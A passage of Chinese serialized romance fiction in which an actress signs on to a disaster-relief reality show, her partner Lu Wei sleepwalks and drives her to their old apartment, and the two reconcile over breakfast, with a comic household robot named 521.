陆嵬虽然一直都一副游离在外的模样,但裘夏从进门开始,每一个字她都没漏听,闻言问她:“救急是什么意思?谁被刷了?” 裘夏来的突然且快,这个消息应该也是刚刚接到。 经纪人和高层中间才会流通的消息,陆嵬虽然知道,但前阵子公司重心交给了裘夏,所以没有详细了解,她和裘夏最开始要的,其实是这个综艺的第二季。 裘夏闻言轻笑了一声,忽然扯到了一个人名,低声说:“记得温永元吗?” 陆嵬神色一动。 “顾宗年背后的关系盘根错节,他和陆茂有心想给温永元铺路,让他回国后的第一部戏就能够到中央,也以此奠定他在导演圈的地位和发展路子,为此几乎下了血本。但可惜了——”裘夏笑了笑,表情上也有幸灾乐祸的爽意,“上面给他刷了。不过也为了掩护,显得不是针对他,同时刷掉了几个由地方举荐的一二线艺人和流量,又搬出了两位不同圈层的泰斗镇场。” 陆嵬神色这次正经了点。 黎数不清楚裘夏刚刚那一段话背后所代表的意思,但陆嵬几乎是瞬间就懂了。 压着内心燃起的激动,陆嵬不自觉压低了些声音,低声说:“消息属实吗?” 裘夏点点头:“你姐那边一收到消息就催着我赶紧过来了,生怕晚一分钟就出变故,不过合同已经到手了,倒是也无所谓。我综合考虑了一下,与其让小黎等第二季,不如这一次直接上。” 陆嵬长长的出了一口气,这一瞬间,眉宇间笼罩的郁气都消散了不少,“你的想法是对的。” 她平静了下,握着黎数的手,在裘夏整理要签订的合同的间隙,很快的和黎数说道:“裘夏刚刚的意思是,上面准备开始收拾顾宗年了。” 顿了顿,陆嵬杨起唇角,说道:“或许不是收拾顾宗年,只是收拾以他为代表,妄图抱团罗织小圈子,在中央管辖不到的地方当土皇帝的派系。” 黎数‘嗯’了声。 裘夏中间抽空插了一是一个导演,他一个人背后,牵扯的是整个剧组上百个部门,从上到下几千上职位,每一个组别后面的利润,牵扯到的有关部门、流程审批,操作了温永元,就是一个信号,一个中央对外下达的、要着手处理顾宗年的信号。” 除期的准备,还有制作中的观众比较熟知的关于导演、等组别以外,还有其他不为人知的相关组别。 投资、勘探、取景地所在,以及后期制作所有的特,再到申报、基金,各项收益项目,对赌、担保、监管、发行、线上线。 黎数作为台前工作者,如果这些,可能一辈子都不会理解,为什么天。 但黎数理解的很快,举一反三的说:“温永元对他们来说,就是新一代要扶持起来的……” 她想起之前沈凝雪激动之下说出的那几个对于她而言显得很抽象的词汇,“正统纯血新一代?” “正统纯血。”陆嵬讽笑一声:“顾宗年自已都是本土杂交的,他本名叫李强。什么叫纯?纯哪去?不都是黑发黑眼红色血液?这帮人早疯了,在国内搞邪|教,偏偏还真发展起来了,一个个与有荣焉,看不惯这个看不起那个的。” 裘夏想了想,忽然一乐:“那要这么比较,我就是申海和燕城杂交的。” 陆嵬瞟她一眼:“那我比你高级点,我是申海纯血。” 陆嵬和裘夏开始研究沈凝雪和她们的几个长辈是哪哪杂交、哪哪纯血的。 黎数拒绝参与这个诡异的血统对话。 她转移话题,“这次的最终人选定下了吗?两位泰斗级的人物都是谁?” “一个咱们都认识。”裘夏说:“凝雪姥姥,也就是陆嵬她姨姥姥,俞宝珠女士。” 陆嵬说:“什么时候的消息,怎么之前没听她说过?” “她是莅临指导、抢险抢救的临床专家,刚定下来的,她的助手是骨外伤科的天才白清竹,这次过去锻炼。”裘夏想了想说,“几天前六陇市山区又发生了一场小型地震,节目组的人其实已经先一步过去取景拍摄了,咱姥姥也已经提前飞过去了,预警说是几天后还会有余震,但是余震预计波次可能只有一两级,在保证人身安全的前提下,剧组要求一周后全员到齐。” 裘夏促狭的朝陆嵬挤眉弄眼:“怎么着,我随组的名额要不让给你?” 她和陆嵬没必要两个人都跟随,这种规格的制作和剧组下显得也不合适。 但出外场录综艺的重点培养艺人身边也必须得有一个人全程在场,以便应付任何可能会出现的突发情况。 陆嵬杨起眉毛:“你害怕一个人和我姨姥姥单独相处一个月就直说。” 裘夏停顿片刻,“话不能这么说……啧,你到底要不要!” 陆嵬这次没跟她瞎扯,看了黎数一眼,说:“要。” “另外一位呢?”黎数问道。 裘夏没卖关子说:“刘香铃。” 黎数倒吸一口凉气,眸光熠熠生辉:“这次的总导演连她都能请来?!” 裘夏笑道:“当然。哦,对了,要说起来,总导演你们也都认识,也是因为她,我才能判断收网行动这个消息的真实性的。” 陆嵬有了预感,抬头时和裘夏对视一眼,一秒后,不同情绪、不同声音的两个人同时说: “费导。” “费导?” 裘夏笑着点头:“与其说是总导演,不如说是请她做总监制。你知道的,费导擅长拍这些军民一心的红色向内容,而且她不搞派系,纯靠实力,也不搞事情,好配合,好说话,近几年六陇市灾情频发,加上要肃清不正风气,中央对这次的活动是真的很看中。” 陆嵬眉眼舒展,很顺心的笑着说:“还是一贯善用的制衡手段。” 想整一个,就要扶持另外一个,这样才能刺激顾宗年狗急跳墙反扑。 这个网也不知道要下多久,陆嵬不介意随时去添一把柴、吹一口风。 裘夏和她对视一眼,耸耸肩:“但经久不衰。 幸福来的太突然,黎数一时之间都不知道该说什么好,搓搓手才说:“香铃姐真会来吗?” “当然。”裘夏笑着说道:“老人家听说这次真能做实事,已经提前先过去了。” 黎数问:“我真能上吗?” “可以。”裘夏往前以推合同:“喏,签了以后,咱一周后的飞机直接过去。过几天可能会有节目组来做前采,不过一切看计划,也可能出现突发情况得紧急飞过去,毕竟你现在杀青了,也没别的工作安排。这几天就多陪陪陆嵬吧,怪不容易的。嘶,差点给正事忘了。” 裘夏目光转向了陆嵬:“怎么说?单独给小黎再找个房子?” “用不着。”陆嵬抱着胳膊,有种裘夏看不懂的执拗和坦然:“就在紫檀,我和她没什么好藏着掖着的,我们是要过一辈子的。” 黎数下意识的转过头,目光和陆嵬无声的对上。 两秒后,陆嵬捏了捏黎数的手指,头又枕过去,声音放软,嗓子拉长:“行不行啊,姐姐。” 黎数想笑,但还是点点头,下巴触及到陆嵬冰凉柔软的脸颊,说:“行。” 裘夏:“……” 她把沙发边上的垃圾桶挪到双|腿|间,和不断进行眨眼拍照操作的521对视一眼,说:“我要吐了,你不想吐吗?” 521头也不转:“我拍的是我主人又不是陆嵬,我吐什么,我主人那么迷人那么美丽,我可以屏蔽陆嵬的声音。” 裘夏装模作样的‘呕’了一下,抬起头,盯着521看了两秒,“行,就我一个人不能屏蔽得受她折磨。” 说着,裘夏为了打断陆嵬施法,手不耐烦的在合同上敲了敲,“快点快点,弄完了我回公司还得忙。” 又冷笑一声:“五点半下班。” 合同刚刚陆嵬也看过,跟黎数说了句:“签吧。” 这才回裘夏:“三倍加班费。节假日九倍,我可没逼你加班,寰宇的离职率可是全国最低的公司,年年受国家表彰。” 裘夏终于听见了点好听的,点点头说:“行,申报流程给我快一点我提前谢谢你。” 黎数一直笑着听她俩互相伤害,大多时候是陆嵬伤害裘夏。 低头签字、按手印。 全部做完后,裘夏开始嘱咐注意事项,说道:“对了,这次节目组的意思是,香玲姐一是当年的灾后幸存者,二是她今年已经六十三岁了,代表灾后群众对未来的希望,几十年来都是国家重点扶持的演员,且她没结婚,也没孩子,所以她的形象,某方面来说也代表国家形象,也不允许她被抹黑,所以这一季的所有内容,都以她为主。不要抢镜,不要不满,也不要蹭热度。” 裘夏最后总结了句:“少说话,多做事就可以。” 不过看着黎数,裘夏也忍不住笑了笑,说:“这话你就随便一听,我是唠叨习惯了,我知道你的性子。” 黎数理解的点头,也微笑道:“我都明白。” 但全纪实、二十四小时连拍的节目,黎数从前没上过,心里多多少少都有些期待和紧张。 更何况这一次的核心嘉宾是刘香铃。 刘香铃早年出道,在几十年前,彩电都还没能普及的年代里,一张从废墟中挣扎露出的笑脸便牵动了全球观众的心。 她一个人,带动了全球的捐款进程,可以被载入全球前几名的受灾程度,却成为了断层式的、经济恢复也最快的一次。 后来她进入娱乐圈,处女作便靠中央大导的灾后献礼片彻底红遍全球,导演不夸张、不刻意博眼球,全纪实的记录下了灾后万众一心,*共求生存的十五天。 一个电影斩获了数个大奖,此后她便就此登顶,几十年间不断学习,圈内几乎成了神话,‘香玲姐’三个字,已经成为了所有女演员挂在嘴边的传奇和学习的对象。 不管是当时还是现在,六陇市几乎全民上下都成了刘香铃的粉丝,甚至市区内还有以刘香铃命名的广场、建筑群,以及名人蜡像。 黎数还是不放心,又皱着眉追问道:“我的履历,真的没问题吗?” 她指的是‘小黎’的那一家子。 裘夏看了她两眼,虽然已经过了好几天,但每一次直面这件事情的时候,都还是觉得很不可思议。 裘夏道:“不会有任何问题。事实上,‘小黎’的处境,正和近两年来社会制|度改|革的核心很贴近,也是这两年大会讨论的主题。从废墟中挣扎开出的花,这不吸引人吗?” 黎数闻言放下了点心,将已经签完字的合同递给裘夏。 裘夏打量了她们一眼,过了会,又笑笑说:“也行,虽然地方和气氛不合适,但你俩这次就当是度蜜月吧。注意着点镜头就行,这次可是除了上厕所以外要全天录制的。” 最后一句话说的正经了点:“找咱姥姥给你换个药,烟不能抽了。” 陆嵬皱皱眉:“知道。” 黎数牵着521的小手急的上楼采买要用的东西,陆嵬头低下瞬间一空,和坐在桌子上的元宝大眼瞪大眼。 片刻过后,元宝舔舔自已的爪子,‘喵’了声,也迈着极其轻巧的步子走了。 陆嵬望向屋顶,半天懒得动一下。 期待的和黎数的蜜月——泡汤了。 但黎数的事业——上升且打下更坚实的第一步的基础了。 陆嵬又躺了片刻,很快把自已哄好了,安慰自已来日方长。 一个用力起身,下意识的走到了电梯边,和蹲在电梯门口的元宝对视一眼。 陆嵬低头看了猫两眼:“真巧啊,你也等电梯?” 元宝仰着脸看她,“喵。” 黑乎乎的一个巨大的芝麻团子,就一双眼睛是黄的,中间还得嵌上俩黑珠子。 电梯门打开,元宝先一步踩着猫步走进去,在正中央团成一小团,小尾巴在身后摇摆着,像是在等人。 陆嵬走进去,在侧边角落的位置站好,给猫当门童按电梯。 上行中,陆嵬忽然说:“这次出去少说得一个月。你主人得上镜,你只能跟着我。” 元宝又和她对着看。 陆嵬这次说:“打个商量,我把你带上,后面一个月和平相处。” 电梯抵达二楼,元宝无声的跳跃出去,走了几步后,像是同意似的,回过头,又冲着陆嵬‘喵’了一声。 陆嵬笑了笑,跟着一起出去- 黎数挑东西挑的眼花缭乱,521综合了市面上的好评最多、价格最实惠的东西也帮着黎数一起买。 陆嵬靠在门边听了一会,忽然说:“多准备点补充体力,能随身携带的小零食吧,巧克力饼干之类的。也可以再准备点消炎药和外伤用品,这些都是必须的。其他的都可以往后放。” 黎数闻言放下手机,慢半拍的拍拍额头,“也是。” 她看着购物车那一堆的救援物资,不知是想到了什么,说道:“你当时身上带的,就是这些吗?” 陆嵬摇了摇头,却没提究竟是什么,而是说道:“这次去就是干苦力的。” 黎数摸摸已经钻到了她怀里的陆嵬,笑着说:“我知道。六陇市近几年自然灾害频发,前有泥石流,后有洪水,现在又赶上了地震。” 陆嵬‘嗯’了声,“所以它才是第一批实验区,也是这次重点扶持对象。六陇市经济太落后了,拨款年年赤字,很多地方已经变成了荒村,自然条件、人才流失、设施带落后,上一次的特大灾害过后,市区内的设施都还有很多地方没能重建起来,即便现在中央开始带动的情况下,六陇市的经济也已经落后了其他同等地区超过二十年。” 二十年的差距啊。 黎数抿抿唇,低声说:“至少那的人们还在求生,我们过去作为外来者和帮扶带动经济助力的人,也不能轻言放弃。” 陆嵬这次盯着她的眼睛看了几秒,说:“好。” 黎数说:“刚刚我搜了很久,但是没有搜到这次节目的一丁点信息,你知道这次节目都有谁吗?” 陆嵬先说:“播出之前,节目所有流程都是保密的。刚刚裘夏跟我说了……” 陆嵬停了停,“真想知道都有谁?” 黎数点点头。 陆嵬换成了仰躺的姿势,无声的看着黎数柔软的唇。 黎数看出了她的意思,有心补偿,弯着眼睛,拨开了陆嵬脸上的发丝,对准她嘴唇吻了下,说:“现在可以说了吧?” 陆嵬满意的说:“除了你和刘香铃以外,还有两年前嫁入豪门的名模应华,香江视后东方英,知名主持人燕沙雨,还有一个,是你前经纪人旗下的艺人,这两年的流量佼佼者段白杨。” 都是耳熟能详的大前辈,只有最后说的这个黎数不认识,而且既然作为爱豆,应该也和自已年龄相仿。 六个人的组合,黎数自动又自觉的说:“我到时候是和段白杨一组吗?” “当然不。”陆嵬翘起二郎腿,枕在黎数的腿上,很闲适悠哉的说:“你和你的偶像,刘香铃女士,以及常驻医学指导俞宝珠女士一组。” 黎数震惊:“这还能提前选?!” “当然。”陆嵬不动声色,也没说自已的辛苦,手机屏幕上,是满屏满屏的对话,密密麻麻都是未读信息的小红点:“总不能真乱来盲猜,一切总要有个章程,也白上这一次综艺。” “只不过到时候可能要辛苦你一点。”陆嵬皱了皱眉,“要不换个人组,跟两个老太太,你总不能让她们干活,到时候恐怕要你一个人全干了。” 黎数沉吟片刻,说:“就现在这样吧。” 顿了顿,她说:“两两一组,不管是放在哪个组,我目前都是年纪最小、体力最好的后辈,而且一旦有突发情况,我比其他年纪大体力跟不上的,还有年纪小想不到那么多的要好一些。” 陆嵬沉默了。 黎数莞尔的揉她的脸,“放心吧,姐姐没你担心的那么差。” 陆嵬当然知道,黎数从小一个人生活,自已摸爬滚打了十几年,一句苦都没说过,都能靠自已解决,也都能接受然后去应对。 想起了什么,陆嵬脸色有点不好的说:“节目要拍一个月,视情况还会延长,吃不好睡不好,还有很多不确定的危险因素!” 黎数眨眨眼,“嗯。” “一整个月的时间,你都要在镜头下。”陆嵬又说。 黎数笑了:“嗯。” 陆嵬终于忍不住说:“我上午才跟裘夏说完要带你去马尔代夫散心,她下午就捧着那破合同来找你。” 黎数这下真绷不住了,一下下捏陆嵬的脸,哄人的语气说:“我们以后多的是时间去玩,暂时忍忍,好不好?” 陆嵬意有所指的说:“那我明天还得去和节目组对接其他的事情,得上班了。” 黎数想想,觉得陆嵬绕这么大一圈子,一定有点什么想法:“我去接你下班,回来给你做饭吃?” 陆嵬看了黎数几秒,忽然扑进她怀里,隔着衣服亲她的小腹,闷声说:“那你不能骗我。” 说话声夹杂着阵阵的热气,一呼一吸很烫,黎数脸有点红,拍拍陆嵬的后背,“不骗你。” 这才想起来,回来这么久了,陆嵬从没吃过她做的一顿饭。 别说是陆嵬了,就连她自已都有点想念了。 刚刚和好也没几天,又一直在剧组,很多东西都要重新适应,重新磨合。 是一个很新鲜的体验,不论是对于陆嵬,还是对于自已。 黎数忽然懂得了陆嵬的拐弯抹角,也不嫌麻烦,笑着说:“你以前爱吃的都给你做一点,好不好?” 陆嵬耳尖有点红:“这是你说的。” 黎数忍着笑,“是是是,都是我说的。” 陆嵬终于抬起脸,脸上的红还没褪去,“我这次要和你一起。” 黎数迟疑了一秒,“行……吧。” 陆嵬想起了什么,立刻说,“两年了,我也进步了。” 停顿两秒,陆嵬又说:“这次不会让螃蟹夹元宝的脚,也不会让小龙虾死在厨房两天后才找到。” 噩梦带着恶臭再一次袭来,黎数安静了两秒,还是选择了相信,但声音有点发虚:“……好,的。” 第67章 第六十七章【VIP】 被521叫醒的时候,黎数还有点分不清楚梦境与现实。 梦里是一阵的天旋地转,灯光、桌椅都在震动,连带着她自己都在晃。 睁眼才发现,是被521推的。 黎数:“……” “小黎,小黎小黎。”521跪在黎数身边,脸色调到最暗,眨巴眨巴圆眼镜说:“陆嵬又梦游了。” 黎数一摸身侧,已经凉了。 房间内的空调定时都还没关,算算时间,这一觉才睡了也不到两个小时。 黎数闭了闭眼,被突然吵醒的感觉有点不好受,她声音沙哑的问了一句:“现在几点了?” 521屏幕一转说:“凌晨一点。” 黎数掀开薄被下了床,下意识的压低了声音,“她在哪?” 521很精确的定位:“在楼下的车里呢。” 夜晚的空气还是燥热的,刚一出卧室,黎数身上就被闷出了一层薄薄的汗水。 一楼静谧,只有窗外的光和室内的壁灯还在亮着,勉强能看清楚室内家具的外形。 陆嵬的确在车里。 521跟着黎数一起往外走,:“要把她带上楼吗?” 黎数已经走到了车边。 陆嵬坐的地方是驾驶座,身上系着安全带,手也在方向盘上握着,脚上没有穿鞋,眼睛看着前方,嘴里无声的低喃着些不成句的声音。 黎数怕惊醒了她,静静的站了一会,问521:“我会把她惊醒吗?” 521摇摇头:“不会的,其实她开一会车就会自己回去了。” 黎数说:“一般是多久?” 521调出了最近的几次数据,说:“持续十分钟到半小时左右。” 黎数就趴在车窗边静静地看着。 车窗是关着的,521从肚子里掏出新加入必买清单的驱蚊液,对着黎数的身上喷喷,又打开了制冷模式,说:“你要坐在我头上吗小黎?” “不用。”黎数摸摸521的小脑袋,“我怕把你坐塌了。” “我可以承受三吨左右的压力呢。”521噘嘴。 “没关系。”黎数这次说:“我看着她,坐下就看不到了。” “那好吧。”521这才作罢。 时间一分一秒流逝,但这次出乎521的意料之外,陆嵬从梦游开始,到下车,只花了3分钟不到的时间。 它没有出声,默默地记录着陆嵬的行动轨迹。 陆嵬木木的打开门,下车,然后走了两步,站在了黎数的面前。 之后就静止在了那,目光的落点是空的,但始终没有离开。 黎数想起什么,目光和站在原地,双手在胸口|交握着的521对视一眼。 521也想起了上一次陆嵬梦游的情况,说:“她是不是又想冲你耍流氓!” 黎数摇摇头,小声说:“我允许的,不算耍流氓。” 521撅起小嘴,但很快小脑袋不知道是想到了什么,又‘嘿嘿嘿’的笑了起来。 下一刻,陆嵬向前倾了倾身体,手臂也没怎么用力的就搭在了黎数的腰上,下巴也枕在了黎数的肩膀上。 黎数这次反应很快,在陆嵬和她拥抱的瞬间轻轻的拍拍陆嵬的后背。 就这么站了一会,就在黎数以为陆嵬接下来要没什么动作的时候,陆嵬又轻轻牵住了她的手。 两人走到了车门边,黎数这才意识到,陆嵬这是要把她往车里塞。 黎数讶异,521瞪大眼睛,眼见黎数要被陆嵬塞进去,慌慌张张去关门,双腿倒腾的差点冒火星子。 它担心元宝跑出去,又怕晚一步陆嵬就要危险驾驶,惊叫道:“她以前没把人往车里塞过啊!” 等到521又抡着双腿跑回来,终于接过了车辆行使权,黎数也松一口气,不再和陆嵬对抗,才任由陆嵬坐在驾驶座把车驶离了别墅区。 黎数满身的汗,惊魂未定的说:“不是,梦游的人会开车吗?” 521的小脑袋挤在两个座位中间:“我也没见过,但是听说有的人梦游的时候会倒立,还能游泳两万米,理论上来说,她是能开车的,但安全性未知。” 黎数也懒得去问两万米的合理性了,“你确定这辆车的权限被你全权接管了吗?” “确定的确定的。”521点头如捣蒜,看着陆嵬在屏幕上敲击几次以后输入的目的地,狐疑的说:“咦……?” ,“怎么了?” 521眨眨眼,耶。” 黎 521眨巴着眼睛和她对视,过了会,黎数缓缓放开了攥着车顶的那只手。 ,晚上车少,几乎一路都畅通无阻。 521操纵着精细动作,车停稳后,陆嵬解开了安全带。 她的动作很慢,但每一个动作都很精准,收拾完了自己,拍拍黎数的手,不知道是安抚还是什么,下车后,又走到了黎数那边给她打开了车门。 黎数从知道目的地以后就没再说过话了,只偶尔看车外的街景,看陆嵬握方向盘的动作,看她明明没什么表情,甚至显得很呆板的侧脸。 下车后,陆嵬又主动的牵起了黎数的手,定格了两秒,迈起步子,朝着黎数住的那一栋楼走去。 电梯一路没有停顿的上行,到达黎数家门口后打开。 楼道里的灯光感应到人体经过自动亮起,陆嵬就这样牵着黎数的手,开了指纹密码,带着她进了门,又把她安置在了沙发上。 在黎数坐好以后,陆嵬站在黎数的面前,慢吞吞伸出一只手,在黎数的头顶拍拍,又去饮水机边拿起了倒扣的杯子,给黎数接水。 但鸿景苑很久没住人了,饮水机里面是没水的。 陆嵬并没有这个意识,端着水杯站了一会,似乎是以为水量够了,又稳稳的端着水回到了沙发前,放在了黎数的手上。 然后就这么一动不动的看着黎数。 静了两秒,黎数举起杯子,做了一个喝水的姿势。 她要拿开,陆嵬又用两根手指托着杯子的底部,向上抬了抬。 黎数就又很自然的喝了两口。 这次再要放下的时候,陆嵬没再有什么多余的举动。 黎数始终看着陆嵬的眼睛,陆嵬又等了一会,一手在黎数的唇边抹了抹,似乎是确认没有水渍,又呆呆的立了一会,伸手去牵黎数的手。 就这样,黎数跟在陆嵬的身后,被她带到了主卧。 卧室的床单已经不是上一次黎数看到的那套了,期间陆嵬应该又让人来打扫过,屋里很干净,也没什么灰尘。 陆嵬把黎数按在床边,又拍拍她的脑袋。 黎数莫名有一种陆嵬似乎是在安慰她的错觉。 之后陆嵬蹲下身,给黎数脱鞋。 黎数穿的是家居脱鞋,随便一踢就掉了。 陆嵬抓着黎数光溜溜的脚,愣了一会,像是没想到这么顺利,蹲了会才站起来,手在黎数肩膀上面轻轻的用力。 黎数就顺势躺了下去,但目光还是追着陆嵬看的。 陆嵬掀起了不存在的被子一角给黎数盖上。 又拍了拍,像是在确定盖好了,陆嵬抬起了一只脚爬上了床,睡在了黎数身边。 寂静无声间,黎数察觉到自己被陆嵬搂在了怀里,也感觉到了陆嵬的手在自己的背心轻轻的拍。 不多时,身上的动静渐渐地停了。 陆嵬睡着了。 黎数动了下,陆嵬睡着时的模样算是恬静,并没有因为黎数的些许动作被弄醒。 黎数轻轻拨开了一点陆嵬的发丝,冲着站在床脚给陆嵬擦脚的521说,“521,帮我把空调打开。” 521自带万能遥控系统,下一秒,空调‘滴’了一声,调节到了安睡模式。 凉风从空调吹出,521又忙不迭掏出另外一张湿巾给陆嵬擦另外一只脚。 终于擦干净,忙碌的521满脸大汗,又从柜子里取出夏凉被。 一边流着面条泪一边说:“怎么办呀怎么办呀,我要不要把这件事情告诉姐姐呀?还是告诉姥姥和姨姥姥或者周姨张姨?呜呜呜谁能救救我这个可怜无助的小机器人。陆嵬说不让我告诉她们不然就要把我回收掉。” 没等黎数回答,521又哭着给黎数也盖上,继续问:“陆嵬是不是又变严重了,她是不是要被抓去精神病院电击了,我电一电她她能好吗?我也可以电人的,是不是我电她几下她就不用被抓去精神病院了?” 说罢,521眼里电光一闪,一根手指从中间劈开,‘刺啦刺啦’的电流声和电光在它指尖横空出现。 黎数赶紧说:“不用!” 她躺在陆嵬的身边,手轻轻的在陆嵬光滑冰凉的手臂上抚了抚,又压低重复说:“不用,521,我在呢。” 521很遗憾的收回手:“好吧。” 它又泪汪汪的抬起眼,小手握在一起,假装什么都没发生过,可怜兮兮的说:“那怎么办呢小黎?陆嵬这样子真的没关系吗?她和以前梦游的时候都不一样。” 黎数静静地扫了一眼陆嵬的睡脸,轻声说:“没关系,我可能知道她的心结是什么了。” 黎数一共见过陆嵬梦游三次。 第一次是刚住进紫檀的那晚,陆嵬一个人,同样是在凌晨,一个人出门上了车。 第二次是在酒店,陆嵬晚上梦游,忽然抱住了她。事后她回想过,陆嵬那个时间点,应该是已经认出她来了。 第三次就是现在。 陆嵬的行为再一次升级,但也将前两次的行为整合到了一起,目的其实只有一个—— 把自己带回家。 眼睛有点酸热。 这几天陆嵬的表现过于轻松,也过于活泼,黎数一开始虽然觉得诧异,但并没有多想。 她以为两年的时间可能并没有造成什么改变,毕竟事情已经说开,陆嵬的状态也甚至回到了她们两个感情最浓烈、也最热情的时候。 原来并不是这样。 半晌,黎数侧过身,轻轻摸了摸陆嵬的侧脸,低声说:“小鬼,怎么办呢?” 即便声音压得很低,可黎数的声音在寂静的室内还是很明显:“我原来的身体被留在了六陇市的大山里,可能一辈子都找不到了,带不回来了。” 静了静,黎数又说:“但我现在的身体在慢慢变得和以前很像,如果有一天能完全变过来,你能好起来吗?” 陆嵬沉沉的睡着。 又过了好几分钟,黎数哄睡似的拍拍陆嵬的腰:“你已经认出了我,也把我带回家了。” 陆嵬的呼吸平静而绵长,像是卸下了什么困扰她很久的事情。 黎数看了她一会,也慢慢垂下眼睛,呢喃着说:“不好也没事,也就是隔三差五过来睡几次。不行以后我把你拴床头上……” 像是想到了什么,黎数无声的笑了笑,说:“我也去买俩手铐,给你弄俩玫瑰金的,行吗?” 521静悄悄的说:“需要我现在下单吗?” 有点不甘心,“轻微电流的,说不定电一电真能好呢。” 黎数闷闷笑了几声,“……好。” 521快乐下单,刷的陆嵬的卡- 第二天一早,比眼睛先醒过来的是陆嵬的嗅觉。 手边没摸到黎数的身体,陆嵬的睡意顷刻间消散无踪。 她睁开眼,起身时因为动作太着急,差点摔倒在地上。 黎数家里没有那么多花里胡哨的地毯,全屋通铺的原木色木地板,但刷了一层地板漆,整体显得非常的明亮且温润,一住进来就会让人感觉非常的放松且舒适。 陆嵬愣愣的看了会地面上自己的影子,反应过来这是黎数在鸿景苑的家。 她第一反应就是自己又梦游了,身体都没站稳,就出了门,刚打开卧室门的瞬间,她就听到了外面521奶声奶气的声音。 521举着胡萝卜当刺刀:“为什么你们都不吃胡萝卜还要在汤里放胡萝卜呀?” 黎数很好脾气的说:“它可以提鲜,炖汤很有营养。521,你跟张姐说过车的事儿了吗?” “说了呀说了呀。”521把萝卜举高高:“我还记得让她帮忙喂元宝。” 获得了一个黎数的抚摸。 521高兴的转了一个圈,看到了站在门边呆呆站着的陆嵬。 521扯扯黎数身上的围裙,黎数‘嗯?’了一声回头,目光同样落在了满头乱糟糟的陆嵬身上。 黎数先是笑着说了声:“早。” 又让陆嵬去洗脸刷牙,说:“洗漱的东西都给你买好了。” 陆嵬愣愣的进了卫生间,东西全都买好了不说,还全都拆开,放在了杯子里。 虽然不存在偶像剧里连牙膏都挤好了的桥段,但黎数买了一个浅绿色和一个浅紫色的情侣牙刷杯。 浅绿色是她的,浅紫色是黎数的。 闻了闻味道,确实没错。 合起来居然还是个爱心。 “陆嵬已经偷偷看你好几次了。”521偷偷告状:“一会嘴里吐白沫一会脸上冒白沫一会头上起白沫。” “……”黎数沉默了会:“你怎么总喜欢把陆嵬的形象抹黑的这么彻底?” 521扭头哼哼:“她也总说我是大型垃圾处理站,裘夏说我们俩这叫互相伤害相爱相杀,等她把我恨到骨子里,就不会想把我毁灭,情感以后也会更坚固。” “……以后少听裘夏的。”黎数试图缓和:“你以后可以夸夸她,说不定她也会夸夸你,这样你们就可以变成相亲相爱了。” 521皱起小眉毛,“好复杂,搞不懂你们陆嵬。” 将近七点,陆嵬收拾好自己,匆匆走出来,头发还是半干的,伸手从柜子里面取碗筷出来洗。 经常要用的黎数已经清理的差不多了,陆嵬愣了片刻,想端菜,却发现这个活已经被521也干的差不多了。 她有些手足无措的站在厨房,感觉自己好像没什么用。 陆嵬抿抿唇,低声说:“你怎么会在这?” 黎数看了她一眼,示意陆嵬把顿好的汤端出去,同时拿上最后的碗筷,跟在她身后,说:“我昨晚一直在。” 陆嵬惊讶回头,黎数吓了一跳,但好在陆嵬手上汤碗拿的很稳。 她皱着眉,低斥一句:“好好走路!” 陆嵬从小到大也很少被这么训斥,第一反应居然是觉得有点诡异的高兴,她又看了黎数一会,才应了声,但还是追问她:“你是跟我过来的?” 黎数坐下,脸上神色淡淡的,“准确的说,是你开车硬要带着我来的。” 陆嵬往下坐的动作一顿,迟疑地问:“我开车?” 521双眼冒红光,脸上开始放视频:“有视频有证据有人证也有机器人证!你的黑脚丫子都是我给你擦得!” 视频一共也没多长时间,521开了32倍速,播放页面的速度快的像是在翻书,只能看见个大概。 但陆嵬已经看到了,自己是怎么把黎数塞进车里,又是一路危险驾驶,最后又是怎么拖着黎数上了床的。 陆嵬瞪521:“你是不是故意的。” 黎数最后说话的声音被它加速成了歪比巴卜,陆嵬一个字都没听清。 521抓着食物上方的空气往嘴里塞,假装自己也在吃饭,闻言摇头晃脑:“不是不是当然不是。” 黎数说:“说话的人就在这,你不能直接问我吗?” 陆嵬不知道要从何问起。 或许是才意识到这是黎数第一次直面自己梦游的窘境,陆嵬迟疑了下,说:“那你昨晚说了什么?” “也没什么。”早上喝点排骨汤实在太舒服,黎数眉眼舒适,说:“就是说……我爱你。” 陆嵬抬起眼,嘴里的玉米忘了嚼,傻傻的看着黎数,重复说:“我爱你?” “嗯。”黎数眉眼弯弯,沾了点油的手指在陆嵬脸上画出一条不明显的猫胡须,“我爱你。” 不给她煽情反应的时间,黎数催促她:“快吃。你忘了今天还要上班?” 陆嵬这才咽下了嘴里的东西,转眼间碗里又被黎数塞了几块排骨。 陆嵬一声不吭的全部吃完,比和黎数约定中的早了两顿吃到了她亲手做的饭菜。 久违的温饱和满足,久违的家里的味道,久违的睁眼后熟悉的环境。 陆嵬精神放松了一点,也可能是碳水太充足,她脑子发晕,一些藏着掖着的话不由自主的就说出了口,“不嫌弃我是拖累吗?” 黎数盛汤的手都没停,很自然的说:“不会。” 她放下碗筷,脸上是很淡的微笑,直直的看着陆嵬说道:“生病了就去看,没什么大不了的,除非你自己在清醒的时候告诉我,你不想治疗,不想和我在一起。” 陆嵬放下筷子,借着低头喝汤的功夫藏住了脆弱的情绪,“我想的。” 吃饱饭后,颓唐的精神也像是被满足了些,陆嵬恢复了点这几天黏人的模样,也不顾安全带勒的她难受,腆着脸搂着黎数,一直抓着黎数的手玩。 到公司楼下,不得不再分开了。 陆嵬进门时忽然想起,黎数说前台的李情待人处事和工作能力一直都很好,碍于第一学历始终没进得去管理层,但资历已经超出了的事。 但进来时没看见人。 陆嵬脚步停了停,到自己办公室那层的时候让助理把人事部主管叫来,但总觉的氛围有点奇怪,好像所有人都在若有若无的打量她。 陆嵬低头看了眼,一贯的休闲西装,只是头发染黑了,但这在公司也不是什么大消息,之前也回来露过几次脸了。 这一层的员工也都是老人,平时也没见过这么大惊小怪的样子。 陆嵬敲敲桌子,问她:“今天出什么事了?一个个这么八卦?” “老大。”助理也跟了陆嵬好几年,说话还算正经,但脸上的表情很丰富:“前台的李姐刚送上来了一大捧玫瑰,说是送给您的。” 陆嵬皱眉:“裘夏又搞什么?” “这次真不是裘总,卡片上不是裘总的字迹。”助理想想,又补了句:“也不是裘总经常订的那几家花店。” 陆嵬冷着脸进了办公室,宽大的桌面上是一大束的白玫瑰,助理只说了是玫瑰,但没提规格,也没提大小,陆嵬一眼数不清,只觉得那是巨大的一捧。 白玫瑰让她的怒气稍缓,第一反应是不是剧组的人或是谁送的。 她走到了桌边,打开了嵌在花束正中央的手写卡片,装在信封里,信封没用火漆印,很老土的用折纸贴了个爱心当印章。 